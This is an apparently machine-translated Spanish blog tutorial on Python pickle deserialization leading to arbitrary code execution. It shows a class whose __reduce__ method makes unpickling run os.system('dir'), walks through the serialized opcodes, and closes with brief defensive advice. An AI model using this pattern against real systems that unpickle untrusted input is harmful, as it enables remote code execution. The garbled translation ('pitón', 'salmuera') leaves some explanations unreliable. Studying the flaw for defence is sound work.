La entrada de blog que introdujo las cadenas de serialización pitón, tuplas, listas y diccionarios
Detalles ver:
secuencia de cadena del pitón, una lista, una secuencia del diccionario, explica la clase
Voy a presentar este blog python反序列化漏洞 任意代码执行
Entonces, ¿cómo deserializar arbitraria de código para ejecutarlo?
Primero en hablar de __reduce__
los métodos mágicos,
este método se debe utilizar para indicar cómo la clase de objeto de la secuencia,
cuando vuelve de tipo tupla puede implementar cualquier ejecución de código
Por ejemplo:
import pickle
import os
class Student(object):
name = 'yuaneuro'
age = '20'
def __reduce__(self):
cmd = "dir"
return os.system, (cmd,)
y = pickle.dumps(Student())
print(y)
pickle.loads(y)
El resultado:
Vemos que cuando la ejecución de operaciones de deserialización ejecutado nuestra dir
comandos
Nos dará como resultado serializado a cabo el análisis:
b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.'
explicación:
El uso de \ 03 del c
operador introducido nt
módulo de system
función de nt
módulo es un os
módulo windows
incorporado en la
q\x00
identificación de system
la función memo
del área de índice
X\x03\x00\x00\x00
detrás de la identificación de dir
la longitud de la cadena
q\x01
identifica dir
el índice de la cadena en el área de anotaciones de
\x85
establecer un elemento meta grupo, este elemento es una cadena de caracteres precedentes dir
q\x02
identifica la tupla en la zona de índice de memo
R
superior marcha de identificación del operador en función de la pila (System), y dir es la tupla contiene parámetros pasados a ella como
Podemos comando dir a otras operaciones para lograr la vulnerabilidad deserialización a la ejecución de código arbitrario
Entonces, ¿cómo defenderse contra esas lagunas?
El funcionario también dijo en el documento, el módulo de la salmuera no es seguro, no he ir deserializar datos no confiables.
- Se puede utilizar una interfaz más avanzada
__getnewargs()
,__getstate__()
,__setstate__()
y así en lugar de__reduce__()
métodos mágicos - Antes de deserializar, para el filtrado estrictos